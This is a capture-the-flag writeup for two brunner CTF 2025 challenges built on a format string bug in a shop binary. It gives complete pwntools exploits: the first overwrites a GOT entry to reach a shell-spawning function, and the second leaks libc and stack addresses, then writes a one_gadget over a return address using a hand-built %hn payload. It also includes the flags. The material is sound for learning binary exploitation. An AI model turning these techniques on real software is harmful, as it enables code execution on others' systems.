brunner CTF 2025 - The Ingredient Shop & revenge writeup

Writeup on The Ingredient Shop and The Ingredient Shop’s revenge challenges from brunner CTF 2025.


Preambule

Both challenges are exposing a format string vulnerability. The first one contains a win function, which is removed from the second binary.

The Ingredient Shop

Binary analysis

Only the binary is given (no loader/glibc):

➜  file ./shop 
./shop: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, not stripped

Every protection are enabled except full read-only relocations:

➜  checksec --file=./shop
RELRO           STACK CANARY      NX            PIE        
Partial RELRO   Canary found      NX enabled    PIE enabled

Partial read-only relocation allows us to rewrite got section, to override dynamically linked functions pointers.

Ghidra pseudo-code

void main(void)
{
  do {
    get_input();
  } while( true );
}

void get_input(void)
{
  ...
  fgets(local_118,0x100,stdin);
  puts("here is your choice");
  printf(local_118); // <-- Format string vulnerability here
  puts("");
  ...
}

Nothing special here, printf in get_input is called with a user-supplied input. There is no filter/limitation besides the 0x100 payload length, and we will be able to trigger the format string vulnerability as much as needed.

It also contains a win function, which spawns a shell:

void print_flag(void)
{
  system("/bin/sh");
  return;
}

Here is the exploitation plan:

  • Leak a PIE address to compute print_flag address
  • Override puts@got address with print_flag address
  • Next call to puts in get_input will actually call print_flag and spawn a shell

Exploitation

First, let’s collect interesting stack offsets:

  • Buffer is located at offset 8:
3) exit
AAAABBBB %8$p
here is your choice
AAAABBBB 0x4242424241414141
  • After taking a quick look the stack in gdb, main function’s address is found at offset 47:
pwndbg> dq $sp 64
00007fffffffdef0     0000000000100000 0000000000000040
...
00007fffffffe030     0000555555554040 0000555555555348 <-- here

To defeat PIE, subtract main address with elf base address:

pwndbg> vmmap
...
0x555555554000     0x555555555000 r--p     1000      0 /xxx/shop
...
pwndbg> p/x 0x555555555348-0x555555554000
$1 = 0x1348

Let’s leak this address with pwntools:

from pwn import *

binary = './shop'
context.terminal = ["tmux", "splitw", "-h"]

def start():
    gs = '''
    breakrva 0x129d
    continue
    '''
    if args.GDB:
        return gdb.debug([binary], gdbscript=gs)
    if args.REMOTE:
        return remote('the-ingredient-shop-628d5eb1da9b2439.challs.brunnerne.xyz', 443, ssl=True)
    return process([binary])

elf = context.binary = ELF(binary, checksec=False)
io = start()

io.sendlineafter(b'exit', b'%47$p')
io.recvuntil(b'here is your choice\n')

main_addr = int(io.recvline()[:-1], 16)
# substract `main` address with the offset found above to get elf base address
elf.address = main_addr - 0x1348
log.success(f'Leaked pie: {hex(elf.address)}')

Finally, send the payload to overwrite puts got entry with print_flag address:

io.sendlineafter(b'exit', fmtstr_payload(8, {elf.got.puts: elf.sym.print_flag}))

# cat flag.txt
# brunner{these_people_need_to_get_better_at_security}
io.interactive()

Pwned 🎉


The Ingredient Shop’s revenge

For this one, glibc and loader are provided. Let’s skip the binary analysis as both are very similar, only difference that matters is protections: read-only relocations is fully activated, we can’t override got pointers anymore.

As there is no more win function, we need to adapt the exploitation plan:

  • Leak libc base address
  • Leak stack pointer
  • Override a get_input return address with a one gadget

Exploitation

We are going to use 3 offsets:

  • Same as above, buffer starts at offset 8
  • Libc address at 1
  • Stack address at 47

First, leak libc and stack:

io = start()
io.sendlineafter(b'exit', b'%p')
io.recvuntil(b'here is your choice\n')
# Same technique as above with `vmmap` to find libc base address 
# In gdb, subtract the address we are targetting with base to get the offset
# Subtract leaked address with this offset to defeat ASLR
libc.address = int(io.recvline(), 16) - 0x204643

io.sendlineafter(b'exit', b'%47$p')
io.recvuntil(b'here is your choice\n')
# `get_input` return address = stack leak - offset 
ret_addr = int(io.recvline(), 16) - 0x130

log.success(f'Leaked libc: {hex(libc.address)}')
log.success(f'Leaked return addr: {hex(ret_addr)}')

Then we need to find a one_gadget with requirements we can fulfill:

0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
  address rbp-0x50 is writable
  rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
  [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp

With pwndbg, set a PIE breakpoint with breakrva on get_input ret instruction, to check memory/registers state just before jumping to one_gadget:

# rbp-0x50 is writable
pwndbg> dq $rbp-0x50 1
00007fff97b488f0     0000000000000000

# rax == NULL
pwndbg> i r rax
rax            0x0                 0

# [rbp-0x78] == NULL
pwndbg> dq $rbp-0x78 1
00007fff97b488c8     0000000000000000

All good !

Payload generated with fmtstr_payload was crashing so I decided to implement a quick and (very) dirty workaround:

def get_bytes_pair(addr, at):
    return (addr & (0xffff << (at * 16))) >> (at * 16)

one_gadget = libc.address + 0xef52b

# 0x000000000000XXXX
first_bytes = get_bytes_pair(one_gadget, 0)
# 0x00000000YYYY0000
sec_bytes = get_bytes_pair(one_gadget, 1)
# 0x0000ZZZZ00000000
third_bytes = get_bytes_pair(one_gadget, 2)

payload = b''
first = first_bytes - len(payload)
payload += bytes(f'%{first}c%13$hn', 'ascii')
# handle short overflow in case 0xXXXX > 0xYYYY
sec = (sec_bytes - first) % 0x10000
payload += bytes(f'%{sec}c%14$hn', 'ascii')
third = (third_bytes - sec) % 0x10000
payload += bytes(f'%{(third - first) % 0x10000}c%15$hn', 'ascii')

# padding to align target addresses on printf stack offsets 
payload += b'A' * (8 - (len(payload)) % 8)

# target addresses
payload += p64(ret_addr)
payload += p64(ret_addr + 2)
payload += p64(ret_addr + 4)

io.sendlineafter(b'exit', payload.ljust(0x100, b'\x00'))

# cat flag.txt
# brunner{win_funcs_are_overrated}
io.interactive()

Thanks for reading !